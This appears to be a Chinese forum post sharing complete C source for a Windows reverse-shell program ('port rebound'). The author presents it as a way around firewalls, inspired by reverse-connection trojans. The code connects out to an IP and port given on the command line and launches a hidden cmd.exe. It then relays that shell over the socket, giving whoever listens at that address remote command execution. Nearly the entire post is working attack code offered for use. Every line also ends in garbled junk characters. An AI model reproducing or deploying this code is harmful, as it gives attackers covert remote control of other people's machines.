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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,+4T7 UR  
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/* ============================== )S 4RR2Q>  
Rebound port in Windows NT :z&kbG  
By wind,2006/7 }+G5i_a  
===============================*/ ~ {yy{  
#include ]Y!Fz<-;P  
#include X0-PJ-\aD@  
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#pragma comment(lib,"wsock32.lib") J:gC1g^  
}LKD9U5;8  
void OutputShell(); *Egg*2P;"Q  
SOCKET sClient; S50}]5K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; VltM{-k^  
mH0OW  
void main(int argc,char **argv) W=w]`'  
{ s%`l>#H  
WSADATA stWsaData; VHMQY*lk  
int nRet; 0Xw>_#Y/xS  
SOCKADDR_IN stSaiClient,stSaiServer; s-+-?$K  
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if(argc != 3) {i?G:K  
{ ge.>#1f}  
printf("Useage:\n\rRebound DestIP DestPort\n"); vmrs(k "d#  
return; {*TB }Xsr,  
} cs*E9  
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WSAStartup(MAKEWORD(2,2),&stWsaData); naH(lz|v  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u)I\R\N  
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stSaiClient.sin_family = AF_INET; F[yofR N  
stSaiClient.sin_port = htons(0); <!XunXh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +6P[TqR  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D&2NO/ R  
{ V| kN 1 A  
printf("Bind Socket Failed!\n"); &]RE 5!  
return; ")\V  
} X' 5R4j  
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stSaiServer.sin_family = AF_INET; 1zH?.-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'N+;{8C-{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W&R67ff|  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R6o  D  
{ o5DT1>h  
printf("Connect Error!"); jOrfI-&.G  
return; 1/w8'Kf'u  
} h]t v+\0  
OutputShell(); 2|& S2uq  
} { +w.Z,D"  
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void OutputShell() .'_}:~  
{ : slO0  
char szBuff[1024]; 8a)Brl}u  
SECURITY_ATTRIBUTES stSecurityAttributes; B= ~y(Mb  
OSVERSIONINFO stOsversionInfo; y&5 O)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .R"VLE|  
STARTUPINFO stStartupInfo; T)7U+~nQ"  
char *szShell; .Y]0gi8z  
PROCESS_INFORMATION stProcessInformation; UE"v+GH  
unsigned long lBytesRead; .BBJhXtrdu  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N<a %l J  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /KF@Un_Ow  
stSecurityAttributes.lpSecurityDescriptor = 0; dhLR#m30T  
stSecurityAttributes.bInheritHandle = TRUE; J8r8#Zz  
=RD>#'sUK  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }EkL[H!  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J( XDwt  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M(K7xx+G  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P658 XKE  
stStartupInfo.wShowWindow = SW_HIDE; -sKtT 9o  
stStartupInfo.hStdInput = hReadPipe; *nJ,|T  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7`t"fS  
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GetVersionEx(&stOsversionInfo); _v0iH   
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switch(stOsversionInfo.dwPlatformId) .x,y[/[[)  
{ IJ2'  
case 1: {TpbUj0  
szShell = "command.com"; s9CmR]C  
break; CZ u=/8?  
default: BQ Vro;#Jc  
szShell = "cmd.exe"; XF)N_}X^  
break;  6d;}mhH  
} B t}90#  
cpP}NJb0;%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  S9}I  
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send(sClient,szMsg,77,0); gs3(B/";c  
while(1) z=U+FHdh/-  
{ hIV]ZYbH  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6JZ>&HA  
if(lBytesRead) \L~^c1s3r  
{ v9* +@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8CUtY9.  
send(sClient,szBuff,lBytesRead,0); r[}nrH&8  
} /kK*%TP  
else ZJZSt% r  
{ \}=T4w-e  
lBytesRead=recv(sClient,szBuff,1024,0); `b8nz 7  
if(lBytesRead<=0) break; W g7 eY'FE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &(Fm@ksh\  
} =O0A(ca"g  
} Vlz\n  
9G SpDc  
return; 3\j`g  
}
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